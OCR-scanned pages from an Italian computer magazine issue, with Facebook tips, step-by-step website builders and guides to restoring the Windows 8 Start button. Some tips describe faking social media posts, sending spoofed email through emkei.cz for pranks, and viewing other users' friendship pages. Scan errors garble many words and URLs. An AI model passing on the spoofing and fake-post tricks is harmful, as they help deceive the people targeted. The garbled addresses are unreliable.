Vedi dettagli amicizia. Il diario contiene tut¬ 
te le informazioni che legano i nostri profili su 
Facebook, la data in cui abbiamo stretto ami¬ 
cizia e possiamo anche modificare ia coperti¬ 
na del diario o condividere la pagina. Cliccan¬ 
do su Altre Pagine e indicando i nomi di due 
contatti nelle rispettive caselle, visualizzeremo 
la loro pagina dell'amicizia. Con un trucco pos¬ 
siamo anche sbirciare nella pagina deH’amici- 
zia di qualsiasi profilo Facebook. La base del 
trucco è l’indirizzo httpsV/www.facebook.com/ 
USERNAME1 ?and-USERNAME2 dove d posto 
di USERNAME1 e dS£f?/IMM£?andremo a in¬ 
serire gli usemame dei due utenti. Per conosce¬ 
re l’usemame basta visitare la pagina di un pro¬ 
filo e guardare nella URL (ad esempio: httj^y/ 
www.facebook.com/giuseppe.calise). 



rxìlN TUTTE LE LINGUE 

LjtJdel mondo 

Tra le lingue disponibili in Facebook ne troviamo alcune alquan¬ 
to bizzarre e anacronistiche come il latino. Inoltre, insieme al clas¬ 
sici slang della lingua inglese, sono presenti anche English (Pira¬ 
te) ed English (Upside Down). Mentre la prima sostituisce le tipi¬ 
che espressioni di Facebook nel linguaggio dei pirati (ad esempio: 
Mi Piace diventa Arrtt la seconda capovolge i caratteri. La lingua 
può essere modificata cliccando il collegamento Italiano (o al¬ 
tra lingua impostata) presente sul fondo delle pagine Facebook. 


Le foto ricoprono un ruolo principale nel 
nostro diario ed è quindi importante che 
queste siano visualizzate correttamente, 
posizionate nel giusto ordine cronologico 
0 rimosse nel caso non vogliamo tenerle 
in bella mostra. 

Spostiamo il cursore su una foto presente nel 
nostro diario e clicchiamo sulla freccia che com¬ 
pare in alto a destra. Con l'opzione Riposizio¬ 
na foto possiamo centrare l’anteprima, mentre 
con Cambia data andremo a modificare la po¬ 
sizione nella cronologia del diario agendo sulla 
data. Per rimuovere una foto dal diario abbia¬ 
mo due possibilità. Possiamo cliccare su Na¬ 
scondi dal diario, scegliendo così di conser¬ 
vare l’immagine tra quelle del nostro profilo 


LA GIUSTA 
COLLOCAZIONE 
LE MIE 





senza però mostrarla sulla bacheca, oppure 
cliccare su Segnala/Rimuovi tag ed elimina¬ 
re del tutto l’associazione della foto ai nostro 
profilo. Quest’ultima opzione è disponibile so¬ 
lo per i tag creati da altri utenti. 



INFORM 
IVISIBIU 
A POCHI E ~ 


IONI 



Le nuove impostazioni di Facebook sulla 
privacy ci permettono di scegliere con 
assoluta precisione le informazioni visua¬ 
lizzate sul nostro profilo e celare quelle 
più riservate rendendole invisibili a de¬ 
terminati contatti. 

Clicchiamo sul pulsante Aggiorna informazio¬ 
ni presente nella nostra bacheca e apriamo le 
modifiche dell’informazione da nascondere a 
determinati contatti. Espandiamo le opzioni di 
condivisione cliccando sul pulsante in alto a 
destra e scegliamo Personalizzata. A questo 
punto possiamo selezionare le persone con cui 
condividere le informazioni {Condividi codi o di¬ 
rettamente quelle che non potranno accedervi 
(Non condividere questo contenuto codi in¬ 
dicandone il nome nelle relative caselle (Sal¬ 
vai. Per visualizzare personalmente l’effetto del¬ 
le modifiche, clicchiamo sull’ingranaggio sot¬ 
to la nostra immagine di copertina, scegliamo 
Visualizza come, clicchiamo sul collegamento 
Visualizza come una persona specifica e di¬ 
gitiamo il nome della persona. Quello mostra¬ 
to sarà il diario così come potrà visualizzarlo la 
persona indicata. 



PER MOLTI. 

MA NON PÉR TUTTI 

Anche se abbiamo molti amici su Face¬ 
book non è detto che ci interessano gli 
aggiornamenti di tutti. Uno strumento 
presente in Facebook ci consente di mo¬ 
strare meno aggiornamenti in bacheca 
per i contatti con cui interagiamo di rado. 
Lo strumento è raggiungibile all’indirizzo ► 
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https://wvM.faceb(X)k.corTi/friends/organize. 
L’elenco mostra i contatti con cui abbiamo 
interagito di meno proponendoci di spostarli 
nella Lista conoscenti. Perfezioniamo la se¬ 
lezione come meglio crediamo e clicchiamo 
su Aggiungi ai conoscenti. Automaticamen¬ 
te sarà caricato un nuovo elenco di contatti 
che possiamo aggiornare cuccando su No, 


grazie. Gii aggiornamenti degli amici inse¬ 
riti nelia iista conoscenti saranno meno fre¬ 
quenti nella sezione Notizie del nostro pro¬ 
filo, ma potranno comunque essere visualiz¬ 
zati tutti cuccando sul collegamento Cono¬ 
scenti presente nella sezione Amici. 

n lL MIO PROFILO 
EIMPENETRABIU 

Le impostazioni di protezione dell’account 
e la gestione delle sessioni aperte sono 
indispensabili per aumentare la sicurezza 
del nostro profilo Facebook. 

Espandiamo il menu Stumenti/lmpostazioni 
accounte selezioniamo Protezione. Le opzioni 


che riguardano le notìfiche di accesso ci con¬ 
sentono di ricevere un avviso (via email o SMS) 
quando viene effettuato il collegamento da un 
dispositivo sconosciuto. Se vogliamo aumen¬ 
tare ancora il livello sicurezza, possiamo abili¬ 
tare l'approvazione degli accessi tramite codi¬ 
ce di verifica che sarà inviato su nostro cellu¬ 
lare. Solo inserendo tale codice sarà possibile 



ncrea un sito Web con Facebook 


Seguendo una semplice procedura è possibile creare un proprio portale Internet da pubblicare aH’intemo 
di Facebook, senza preoccuparci di dominio e hosting o conoscere i linguaggi di programmazione. 



Serve una pagina..■ 

Come prima cosa dobbiamo creare una 
pagina pubblica su Facebook. Colleghia¬ 
moci all'Indirizzo https://www.facebook.com/ 
pages/create, indichiamo la tipologia di pagina, 
completiamo le Informazioni inserendo il nome e 
gli altri dati richiesti e clicchiamo su Primi Passi. 



^ ^ Meglio abbondare 

J cucchiamo sul pulsante Create myf-Site 
ftere relativo alla pagina che accoglierà il 
sito e indichiamo quale sarà il suo scopo (se non 
vogliamo farci mancare nulla selezioniamo tutte 
le opzioni). Clicchiamo sul pulsante Continue e 
ripetiamo nella pagina di riepilogo. 


« ... da trasformare in sito 

Aggiungiamo la descrizione, l'indirizzo del¬ 
la pagina, che poi sarà quello del nostro sito 
Web, e tutte le altre informazioni richieste, quindi sal¬ 
viamo. Saltiamo le restanti impostazioni della pagi¬ 
na e puntiamo il browser verso l'indirizzo vwvw.page- 
yourself.com. 


^ ; Pubblicazione autorizzata 

31 cucchiamo Sign up, confermiamo con OK 
l’accesso al profilo Facebook quindi pre¬ 
miamo Ask for permission again e rispondiamo 
ancora OK. Ora che abbiamo fornito le autoriz¬ 
zazioni visualizzeremo l’elenco di tutte le pagine 
pubbliche col legate ali’account Facebook. 



A ì Aooiunaiamo ali elementi 

5 I Spostiamoci nella sezione Wyf-s/fe e ini- 
ziamo scegliendo il tema grafico tra quelli 
disponibili nel tab Themes. Passiamo ora alla sche¬ 
da MyApps, spostiamo su ON W selettore degli ele¬ 
menti che vogliamo includere nel sito e inseriamo i 
contenuti cuccando su Edit. 


Il sito è servito 

0 L'editor è semplice da usare. Clicchiamo 
" sull’elemento da personalizzare (text, 
image, slideshow, button ecc), apportiamo le 
modifiche e sistemiamo il contenuto sulla pagina. 
Clicchiamo Actions/Publish to Facebook e View 
on Facebook per visualizzare il risultato. 
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collegarsi al profilo da un nuovo dispositivo. Le 
impostazioni di protezioni dell'account archivia¬ 
no, inoitre, registrano tutte le Sessioni attive, 
permettendoci di terminarie anche da remoto. 

QUANDO LE PAROLE 
NON SERVONO 

Oltre alle solite emoticon, possiamo ren¬ 
dere più divertenti le conversazioni nella 
Chat di Facebook aggiungendo spassosi 
stickers pack che potranno essere utiliz¬ 
zati anche nell’app per smartphone. 
Apriamo una conversazione in chat, clicchiamo 
sulUcona a forma di smiie e apriamo ii negozio 
di adesivi col pulsante del carrello. Esploriamo 
i pack disponibili, ciicchiamo su Gratis per in- 
staliarli e utilizziamoli nella Chat selezionando¬ 
li tra quelli aggiunti. A parte quelli presenti nel 
negozio, con un piccolo trucco possiamo atti¬ 
vare due pack esclusivi. Apriamo il negozio di 
adesivi, clicchiamo con il tasto destro del mou¬ 
se su uno dei pulsanti Gratise scegliamo Ispe¬ 
ziona elemento. Apriamo il menu contestua¬ 
le sulla porzione di codice evidenziata e sce¬ 
gliamo Editas HTML Sostituiamo l'ID, ovve¬ 
ro il numero composto da 15 cifre, con le ci¬ 
fre /957965036S47fi2(PackOuckDinasty)o 
158114934395331 (Pack Krrish 3), chiudia¬ 
mo Ispeziona e/emento e clicchiamo sul tasto 
Gratis per installare il pacchetto nascosto. Una 
volta aggiunti, ritroveremo gli stickers anche 
nella chat Facebook per smartphone e tablet. 





browser Chrome che aggiunge alla chat 
di Facebook la possibilità di disegnare 
usando il cursore del mouse. 

Puntiamo Chrome all'indirizzo www.winmaga- 
zine.it/link/2362 e clicchiamo su Gra&sconfer- 
mando con Aggiungi Apriamo Facebook o ag¬ 
giorniamo la pagina se eravamo già collegati, 
avviamo una conversazione in chat e facciamo 



UN StTO BACILE DA GESTIRE 


Se gestiamo una pagina Facebooke vogliamo trasfor¬ 
marla in un sito Web senza tanti sforzi, EXAI è il servizio 
che fa per noi. Colleghiamoci a httpsi/Zapps.facebook. 
com/exaiwebsitecreator, impostiamo \'Italiano, cricchia¬ 
mo Inizia e autorizziamo l'accesso al nostro account 
(OK). Selezioniamo la pagina da convertire in sito Web 
(possiamo anche scegliere di utilizzare la pagina del 
nostro profilo), accettiamo i termini e passiamo al pas¬ 



saggio successivo. Scelta Umpaginazione e il design da 
utilizzare, visualizzeremo l'editor con cui personalizzare 
i contenuti della pagina, aggiungere articoli, immagini, 
video, elementi flash o codice HTML trascinandoli 
direttamente nella posizione che gli spetta. Ultimate 
le modifiche, clicchiamo Anteprima per visualizzare il 
risultato. Il sito Web sarà accessibile alUndirizzo www. 
idpaginafacebook.exai.com. 



clic sul pulsante che raffigura una matita. Sele¬ 
zioniamo il colore, teniamo premuto il tasto si¬ 
nistro del mouse e trasciniamo il cursore nel¬ 
la lavagna. Finito il disegno inviamolo cuccan¬ 
do su Dono. 

n^LA SICUREZZA 
-TiNON E MAI TROPP.A 

Per abilitare la generazione dei codici di sicurezza direttamente 
dall'app Facebook del nostro smartphone, clicchiamo sul pulsan¬ 
te Attiva presente nella sezione Generatore di codici, tappiamo 
sul pulsante Menu/Generatore di codici dell'app, confermiamo 
con Attiva, ritorniamo sul browser del PC, pigiamo su Continua, 
riportiamo il codice nella casella e confermiamo. 




Il SOCIAL 

n^yORK 

OGNI SCHERZO VÀLE! 


Vogliamo fare uno scherzo ai nostri 
amici modificando a piacere un aggior¬ 
namento Facebook, un tweet o un post 
su Google+ pubblicato da qualsiasi 
profilo? Basta poco! 

Copiamo il codice presente nel file Fake 
post.txt, apriamo il browser (in questo ca¬ 
so è indifferente usare Chrome o Firefox), 
creiamo un nuovo segnalibro, incolliamolo 
nel campo URL (Indirizzo nel caso di Fire¬ 
fox) e assegniamogli il nome che preferia¬ 
mo (ad esempio Fake posti. Cliccando sul 
segnalibro avremo la possibilità di modifi¬ 
care il testo contenuto nel post di qualun¬ 
que profilo. Per completare lo scherzo ba¬ 
sta poi catturare la schermata con il tasto 
Stamp(o AlUPrint Screertj della tastiera, 
incoilare l’immagine in un qualsiasi editor 


(ad esempio il Paint di Windows), salvarla 
e inviarla ai nostri amici. 



TENIAMO BENE 
IL TEMPO 

È molto facile perdere la cognizione del 
tempo quando siamo collegati a Twitter. 
Con Timer possiamo darci una regolata 
impostando un avviso o un promemoria. 

Colleghiamoci al profilo del servizio Timer (vwvw. 
twitter.com/timeO e clicchiamo su Segui. Per 
impostare l’avviso è sufficiente inviargli un mes¬ 
saggio personale indicando dopo quanti minuti 
ricevere un promemoria che può essere del ti¬ 
po: 120 visiti dentistica. 




SU WIN EXTRA TANTI ALTRI 
IMPERDIBILI TRUCCHI PER 
POTENZIARE ULTERIORMENTE i 
IL BROWSER GOOGLE CHROME j 
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Un portale 
facile per tutti 



jJiU DJS ITO^G R ATi^ 

iRERÉNÌANNPJ 

Win Ma^azine e Hosting 
Solutions ti offrono: 

Dominio Internet: 

8,90 euro + IVA 

Servizio Site Generator: 

0 euro per un anno, anziché 
45,00 euro+IVA 

(incluso; 5 caselle e-mail da 2 GB, 2 GB di 
spazio Web, 100 GB di traffico) 


Così realizzi il tuo sito Web con pochi clic del mouse e gratuitamente: 
paghi solo il costo di registrazione del dominio e sei on-line! 


N ell'era deirinformazione tutto viene re¬ 
perito in forma digitale. Le persone sono 
ormai solite cercare sul Web qualsiasi 
genere di informazione, spingendo i professio¬ 
nisti e le aziende a dover fornire loro siti Web 
che siano il più esaurienti possibili. Per anni la 
creazione di siti è stata vista come una pratica 



^ i Registriamo il dominio 

■| ^ Colleghiamxi al sito www.hostingsolutions. 
■*«^it/promozione/sitegenerator.asp per acce¬ 
dere aH’ofterta esclusiva per i lettori di VVin Maga- 
zine. In Inserisci il nome del dominio indichiamo il 
nome che vogliamo dare al nostro sito e clicchiamo 
sul pulsante Ordina. 



u. Iniziamo la creazione 

Clicchiamo Gestisci per accedere all’area 
««if- di configurazione del sito web. Selezioniamo 
SEO e definiamo Titolo e Descrizione del nostro 
sito. Passiamo quindi a configurare Google Analyti- 
cs. La voce Ecommerce la analizzeremo nei pros¬ 
simi passi. Torniamo alla voce Sito Web. 


da affidare esclusivamente a professionisti; oggi 
invece esistono soluzioni in grado di consentir¬ 
ne la realizzazione anche a chi non ha alcuna 
esperienza di programmazione. Site Generator 
è la soluzione di Hosting Solutions che consente 
di creare la propria "vetrina virtuale" senza 
alcuna conoscenza tecnica, semplicemente 



^ . Siamo subito operativi 

2 I Registriamo il dominio indicando i dati rela- 
tivi alla nostra anagrafica e aitre informa¬ 
zioni utili. Il dominio sarà attivo in poche ore dai 
momento delia registrazione. Clicchiamo Conti¬ 
nua e concludiamo la registrazione selezionando 
il metodo di pagamento. 


VMDQET CAmCA 

» TeSTO E VJMAOIHB 
. COHfSiUT» 

■* MCìKjLì 
» SilCtAt 

» 

^ ToriftATE + AOWUHOI 


^ ^ Contenuti a portata di die 

5 I cucchiamo Sito Web in alto per accedere 
agli strumenti di creazione delle pagine Web. 
Selezioniamo Template e scegliamo il tema gra¬ 
fico. Possiamo poi aggiungere Contenuti, Moduli 
e componenti Social semplicemente trascinando¬ 
li nello schema di creazione delle singole pagine. 


con l’uso di un browser. E non stiamo parlan¬ 
do di un semplice sito: si possono aggiungere 
infatti immagini, video, pagine e organizzare 
tutto secondo i nostri gusti grafici, perché le 
sezioni e gli elementi sulla pagina si spostano 
semplicemente con il mouse. Quando si finisce 
si pubblica tutto con un clic! Semplice, vero? 



^ f Awiamo in nostro editor 

0 i Riceveremo un’e-mail con i dati di acces- 
so al servizio Site Generator. Colleghiamoci 
all indirizzo indicato e logghiamoci aH’interno del 
sistema: ci troveremo davanti una pagina simile 
a quella di un tradizionale editor HTML: iniziamo a 
costruire il nostro sito Web. 



^ i Scegliamo il template 

0 j Nel template scelto può essere persona- 
lizzato secondo i nostri gusti, così come i 
colori e la disposizione degli elementi. Selezionia¬ 
mo la voce Temi in alto, scegliamo quello di nostra 
preferenza e clicchiamo Seleziona. Vedremo com¬ 
parire automaticamente una sua anteprima. 
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^ Oroanizziamo le pagine 

y ■ Organizziamo ora le pagine per dare una struttura al sito; dal menu 
di sinistra creiamo nuove pagine dando loro un nome. Iniziamo a 
creare Home, Chi Siamo e Dona e Contattaci, ma possiamo crearne un 
numero illimitato. Ogni volta scegliamo il titolo e l'URL da assegnare loro. 


BEOU 



R LA GIOVENTÙ* 






^ Piccole modifiche 

g i Con semplici clic possiamo modificare tutti gli elementi delle pagine 
create. Cliccando Contenuti accediamo ad una serie di funziona¬ 
lità che permettono di migliorare la struttura della pagina tramite l'impo¬ 
stazione del layout a colonne o l'inserimento di un menu di navigazione. 



AIUTAQ A CRESCERE 


t Diamo colore al sito 

J Possiamo impostare un determinato set di colori cliccando Coiori 
' dei tema, mentre il font è selezionabile in ogni singolo box in cui 
applichiamo le modifiche. Nel menu Soc/a/cucchiamo Fiickr per inseri¬ 
re una galleria di foto o i pulsanti di condivisione su Facebook e Twitter. 


ì Un sito per re-commerce 

■j^Site Generator include alcune funzionalità per l'e-commerce. Clic- 
«i-w? chiamo Premium per accedere alle opzioni che permettono di inseri¬ 
re pulsanti per far acquisti sulle nostre pagine usando PayPal o Google. Car- 
relio permette invece di creare un vero e proprio e-commere nel nostro sito. 



BEOU O O O 




irauxu »n ucnmmr 
WOMOULà 



Ififllll 

♦HtMt 



^ I Modifiche In tempo reale 

■|'^ I Ci saremo sicuramente accorti che tutte le modifiche vengono applica- 
te in tempo reale. Possiamo provare il nostro sito Web in tempo reale 
cliccando su Anteprima, un modo semplice per capire se la struttura del sito 
funziona e cosi anche le funzionalità avanzate inserite. 


^ 1 Pubblichiamo II sito Web 

*12» Ci siamo! Tutte le volte che vogliamo mandare on-line le ultime modi- 
fiche cucchiamo Pubbiica. Collegandoci al dominio scelto per il nostro 
sito Web vedremo subito la sua home page e potremo continuare a eseguire 
modifiche ogni qualvolta che vogliamo dal nostro pannello di controllo! 
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Faldate i Questo sito Web l'ho fatto io! 


Questo sito Web 
l’ho fatto io! 


Con il tool giusto puoi realizzare e pubblicare on-line 
un portale Internet completo e funzionale. Scopri come 


N avigando su Internet ci sarà 
sicuramente capitato di osser¬ 
vare con ammirazione tanti siti 
e abbiamo desiderato al tempo stesso 
di poterne avere un giorno uno tutto 
nostro curato in ogni sua parte. Il pro¬ 
blema è che per sviluppare un portale 
di un certo livello, elegante, funziona¬ 
le e bello a vedersi, sono richieste del¬ 
le competenze e delle conoscenze di 
programmazione Web che la maggior 
parte di noi non ha. Ma non disperia¬ 
mo, una soluzione pratica c’è ed è a 
portata di mouse! Utilizzando infatti 
un apposito tool come Incomedia 
WebSite X5 Home 10, disponibile in 
versione completa solo per i lettori di 


Win Magazine (dobbiamo effettuare 
una registrazione on-line per ottenere 
la chiave di licenza) possiamo creare 
un sito partendo da zero in pochi clic, 
il tutto senza editare una sola riga di 
codice HTML. Servendoci di questo 
tool potremo inoltre effettuare qual¬ 
siasi intervento sul nostro sito, dalla 
progettazione della struttura delle 
pagine Web all'inserimento di testi e 
immagini, tutto tramite l’interfaccia 
del programma. 

Un sito in pochi clic 

Incomedia WebSite X5 Home 10 con¬ 
sente di creare e pubblicare on-line 
un sito Web tramite una procedura 


gu idata che prevede anzitutto la scel¬ 
ta del modello grafico da adottare (è 
possibile utilizzare e personalizzare 
uno dei tanti messi a disposizione 
dal software), quindi la definizione 
della struttura dell’intero portale in 
termini di pagine e livelli), l’inseri¬ 
mento di tutti i contenuti (testo, fo¬ 
to, video, animazioni Flash ecc), la 
configurazione delle impostazioni 
avanzate e l’esportazione dell'intero 
progetto sul proprio spazio Web. Cosa 
aspettiamo allora? Diamo libero sfogo 
alla nostra fantasia e prepariamoci a 
realizzare e mettere on-line un sito 
Web che lascerà a bocca aperta tutti 
i nostri amici! 


^Cosaci 

occorre 

I TCa 01 SVILUPPO WEB f 

INCOMEDIA \ 
WEBSITE X5 
HOME 10 f 

: Lo trovi su; :^C0 »^DVD 1 

OBÌH) 

: Sito Internet; I 

w«vw.websitex5.com ) 



Cominciamo daii’instaiiazione 


Eseguendo una semnlice registrazione possiamo ottenere la chiave di licenza necessaria per attivare Incomedia 
WebSite X5 Home 10 e utilizzarlo fin da subito per creare il nostro sito Web. Vediamo come fare. 



^ | Esequiaiiio la reaistrazhwie 

“1 I Visitiamo la pagina Web www.websitex5.conV 

magazine/winmaghomel 4, compiliamo tutti i 
campi e premiamo Registrati. Riceveremo un’e-mail 
con un link: clicchiamoci su per completare la regi¬ 
strazione. Nella pagina che si apre logghiamxi inse¬ 
rendo e-mail e password e premiamo Accedi 



La Chiave di Licenza 

2 I Lasciando aperta la pagina riapriamo il 
link citato al Passo 1 in una nuova sche¬ 
da del browser: potremo ora visualizzare la Chia¬ 
ve di Licenza di Incomedia WebSite X5 Home 10. 
Selezioniamo l’intero codice seriale e premiamo 
la combinazione di tasti CtrI+Cper copiarlo. 


Ttbvaìior^ell^Ken^ 


M Omu* 4 uaM» «ri «<4n(fo rv «nwe tt U capii d 

kuWWAiMKiaiiKV 

TrMUCXaM4ix«<«wa>'StM4«<«ilMtnit,M4nM*Ma>«i*«< anwnHid. 
«Il *#tal 4 canMrM 



A i Ora pensiamo al setup 

2 ì Scompattiamo l’archivio wsx5_home.zip 
(sezione Internet dei Win DVD-Rom) ed ese¬ 
guiamo il file wsx5_home.exe. Procediamo col setup 
e, quando richiesto, incolliamo la Chiave di Licenza, 
digitiamo l'e-maii e premiamo Avanti Inseriamo poi 
la password, cucchiamo Avanti, infine Avvia. 
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Questosito-Webl'hofa^CMo! j Faldate 



Pronti a sviluppare il sito! 

Possiamo procedere adesso con la definizione della struttura del nostro portale e la creazione delle pagine 
Web che lo compongono. Una volta fatto ciò, basteranno pochi clic per pubblicare tutto on-line! 




^ s Creiamo un progetto 

■| ? Una volta aperto il programma, nella scher- 
mata principale cucchiamo su Ama in bas¬ 
so a destra. Selezioniamo Crea un nuovo Proget¬ 
to. inseriamo un nome per il progetto e premiamo 
Avanti. In Impostazioni generali inseriamo i dati 
del sito (URL, ecc) e clicchiamo Avanti 


^ Una stnittura a pagine e livelli 

4 ;■ Nelle schermate successive indichiamo la 
struttura del sito, ovvero il numero di pagi¬ 
ne e i sottolivelli. Possiamo aggiungere eventual¬ 
mente nuove directory, livelli e pagine stabilendone 
anche l’ordinamento secondo un criterio stabilito. 
Fatto ciò, premiamo Avanti. 



^ .. .poi anche un’ìmmaoine 

y : Trasciniamo l'oggetto Immagine nella riga 
-.-w in basso e facciamo doppio clic su di esso. 
Premiamo il tasto a destra del box File locale su 
PC. cerchiamo un’immagine e premiamo Apri. 
Compiiiamo i vari campi delle proprietà e diamo 
OK. A destra possiamo vedere l’anteprima. 



: La scelta del modello 

2 Nella successiva schermata visualizzeremo 
i modelli di siti Internet disponibili. Dal pri¬ 
mo menu a tendina selezioniamo la categoria, dal 
secondo scegliamo se usare un menu di navigazio¬ 
ne verticale o orizzontale. Selezioniamo il modello 
e clicchiamo sul pulsante Avanti 


5 ;■ Creiamo la home page inserendo gli oggetti 
disponibili (testo, immagini, ecc). La tabella 
è suddivisa in due righe e due colonne. Per inse¬ 
rire del testo e una foto, servono due righe e una 
colonna. Eliminiamo una colonna con un clic sul 
pulsante Rimuovi la Colonna selezionata. 



^ j Le impostazioni avanzate 

g Proseguendo con Avanti creiamo man 
V... mano tutte le pagine Web del nostro sito. 
Nella schermata Impostazioni Avanzate possia¬ 
mo agire sul Menu Principale, gestire il Menu a 
Comparsa e modificare Stili e Modelli Completata 
questa operazione, clicchiamo su Avanti 



^ Rifacciamp il trucco al sito 

3 j A questo punto possiamo anche personaliz- 
zare il modello, caricando immagini oppure 
aggiungendo testo nell’intestazione o a piè di pagi¬ 
na e usando un effetto grafico tra quelli disponibi¬ 
li. Una volta completate le modifiche del modello, 
clicchiamo Avanti 



Jnseriamo Prima un testp... 

0 I Clicchiamo su Testo, trasciniamolo nella 
prima riga della tabella e rilasciamo il mou¬ 
se. Lasciando selezionato il riquadro, clicchiamo 
sul pulsante Modifica. Digitiamo direttamente il 
testo (0 facciamo un copia/incolla), assegniamo 
dimensioni e colore del carattere e diamo OK. 



E ora pubblichiamo il sito! 

0 i Per pubblicare il sito via FTP scegliamo Espor- 
ta il Sito su Internet e premiamo Avanti Nel¬ 
la schermata Esportazione del Sito su /ntemef digi¬ 
tiamo indirizzo FTP, usemame e password del nostro 
spazio Web, premiamo A va/rff e pubblichiamo le pagi¬ 
ne del sito seguendo la procedura guidata. 



Gennaio 2014 Win Magazine 67 





































































Faldate | Il pulsante Start di Win Magazine | 



Sistema 






Il pulsante Start 
Win Magazine 




Attivalo subito per avere tutti gli 
strumenti di Windows e aitre 50 
funzioni inedite 


Cosaci 
occorre 

LAUNCHER 

APPETIZER 

Lo trovi su: ;?CD 
Quanto costa: gratuito 
Sito trrtemet 
ttttp;//app.etizer.org 

TOOL DI 

PERSOfWLiZZAZiONE 

CLASSIC SHELL 

Lo trovi su: WCO WDVD 
Quanto costa: graturto 
Sito internet 
http^/sourceforge.net/ 
projects/classicshell 


GODMODE 
PERTUnL..A 
PORTATA DI CLIO 

SuIWinCD/DVD-Rom 
nella sezione Sistema- 
sono presenti gli script 
batch per attivare il 
GodMode su tutte le ver¬ 
sioni di Windows, dalla 
XP alla 8.1, anche quelle 
a 64 bit. Per aggiungere 
la funzione alllntemo 
del nostro Pulsante 
Win Start, seguiamo la 
procedura riportata al 
MaaopassoA6. 


W indows 8 è probabilmente il sistema 
operativo più completo, efficiente e otti¬ 
mizzato tra tutti quelli finora ideati e svi¬ 
luppati da Microsoft. Certo, chi di noi è abituato 
ad usare una delle precedenti versioni, da Win¬ 
dows XP a Windows 7, si è trovato decisamente 
spiazzato quando ha visto per la prima volta la 
nuova interfaccia Modero basata sulle "tile", le 
piastrelle che ormai noi tutti conosciamo, ma è 
bastata solo un po' di pratica per superare questa 
iniziale difficoltà. Ad ogni modo c’è un appunto 
che, nonostante tutto, molti sentono il dovere di 
fare all’azienda di Redmond relativamente alla 
sua nuova creatura: l’assenza dello storico pul¬ 
sante Startnella classica interfaccia desktop, che 
continua ad essere accessibile contestualmente 
a quella Modern. L’esclusione di questo piccolo 
tasto ha finito per disorientare moltissimi utenti 
che trovavano estremamente comodo av\dare 
le applicazioni e accedere a tutte le funzioni del 
sistema operativo mediante il pratico menu dei 
programmi. 

Il problema è risolto! 

Evidentemente anche la stessa Microsoft si de¬ 
ve essere resa conto che levare il tasto Start su 
Windows 8 ha lasciato scontenti molti utenti. Per 
questo motivo lo ha integrato nuovamente in 
Windows 8.1, anche se, per dirla tutta, il pulsante 
permette di fare ben poco: cuccandoci su si torna 
all’interfaccia Modern e anche facendo clic su 
di esso con il tasto destro si ha accesso ad un 
numero limitato di funzioni. Ma non disperiamo, 
come vedremo ci sono due soluzioni a portata 
di mano. Possiamo ad esempio adoperare Ap- 
petizer, un pratico launcher (funziona anche su 
Windows XP/Vista/7) per avviare in modo sem¬ 
plice e rapido dal desktop applicazioni, utility e 
molto altro. E se poi è la nostalgia a prevalere su 
tutto, servendoci del tool Cilassic Shell possiamo 
installare un vero e proprio pulsante Start in 
Windows 8 e il gioco è fatto! 
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Sistema 


Accedo a tutto dal desktop 


Grazie al tool Appetizer. personalizzato Win Magazine^ possiamo accedere con un semplice clic del mouse alle 
nostre applicazioni preterite e a tante funzioni esclusive non intei 


integrate in Windows 8. 



Prima di tutto il setup 

; Estraiamo l'archivio Appetizer.zip (Spe- 
—J ciale Pulsante Start del Win CD/DVD- 
Rom) e facciamo doppio clic sul file Appetizer.exe. 
Quando compare l’avviso di sicurezza di Windows 
SmartScreen cucchiamo su Ulteriori mformazioni 
quindi sul pulsante Esegui comunque. 


OsmbIMIIMMi 

B _ ÉL 


OvMt w «aMw 
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Attenzione alle cartelle 

2 3 Facciamo clic sul pulsante Si anche quan- 
do compare l’avviso deH’UAC. Selezioniamo 
quindi C;l come cartella di destinazione, proseguia¬ 
mo con un clic su /nsfa/Z e completiamo l’installa¬ 
zione con un clic su Close. Fatto ciò, nella cartella 
C: troveremo la cartella Appetizer 



•^1 Scarichiamo tutte le utility 

3 I Apriamo la cartella Appetizer, creiamo al 
suo interno la sottocartella PortableApps e 
copiamo in essa le utility scaricabili da Win Extra. 
cucchiamo su uno degli eseguibili copiati e installia¬ 
mo il relativo tool (verrà creata un'apposita cartella 
dentro PortableAppei. 



■^1 Ecco rinterfaccia del tool 

4 I Facciamo lo stesso con le altre applica- 
^ zioni. Torniamo nella cartella principale di 
Appetizer, eseguiamo file Appef/zerexe e ignoria¬ 
mo la schermata Importa collegamenti con Annul¬ 
la. Nell’interfaccia del programma cucchiamo sulla 
freccia a sinistra per aprire il pannello laterale. 


A Aggiungiamo le applicazioni 

5 j Clicchiamo su +, andiamo nella cartella del 
. . / tool da caricare creata dentro PortableApps, 
selezioniamo il file eseguibile e premiamo OK Ripe¬ 
tiamo questa operazione per tutte le utility installate 
al Passo 4: Automaticamente le icone dei program¬ 
mi verranno caricate nel programma. 


■A. God Mode a portata di die 

0 , Creiamo una nuova cartella sul desktop e 
rinominiamola come Goc//Wate.(EDZa4470 
-8E54-465E-825C-99712043E01C}. Essa punterà 
direttamente alla modalità God Mode di Windows 8. 
Trasciniamo la sua icona nell'Interfaccia di Appetizer 
per poterla aprire rapidamente dal launcher. 



C’è pure la fake mali! 

y 5 Clicchiamo adesso con il tasto destro in un punto del desktop e selezio- 
niamo Nuovo/Collegamento. Nella finestra che si apre digitiamo l’URL 
http://emkei.cz/, ovvero l’indirizzo di un servizio che consente di inviare Fake mali 
(false mali), utili per tare degli scherzi agli amici. Proseguiamo con Avanti. 


Integriamo il colleqameiito 

0 I Digitiamc nell’apposito campo il nome da dare al collegamento da crea- 
re sul desktop, ad esempio Fake mali, quindi premiamo Fine. Trascinia¬ 
mo il collegamento sull’Interfaccia di Appetizer (eventualmente espandiamone 
le dimensioni col mouse per visualizzare tutte le icone). 


► 


Gennaio 2014 Win Magazine 69 









































































Sistema 


Faldate | Il pulsante Start di Win Magazine 


Il ritorno del pulsante Start 

L’elemento che più di altri manca agli utenti di Windows 8 è il pulsante Start Quello che molti non sanno è che 
è possibile ripristinarlo installando un software aggiuntivo. Ecco come procedere. 


'■ ' ' Oassic Shed Setup 

End'ilser License Agreement 
Piesse resd thè folowing fccense agreement carefuty 


License Agreement 

Classtc Shell O 2009-2013. Ivo Beitchev 
http://www.dassicshell.net/ 

w>. . «.-.-rniT-r. ircr 




II tool che mancava: installiamolo 

^ ? Scompattiamo l'archivio ClassicShelLzip (sezione Sistema del Win CD/DVD- 
•mmJ Rom) ed eseguiamo il file EXE contenuto al suo interno per avviare l'instal¬ 
lazione di Classic Shell. Procediamo con Next, accettiamo le condizioni d’uso, clic- 
chiamo A/exfdue volte, quindi Instali e poi Finish. 



^ Pronti, partenza... Start! 

Nell'angolo in basso a sinistra del desktop compare un pulsante simile al 
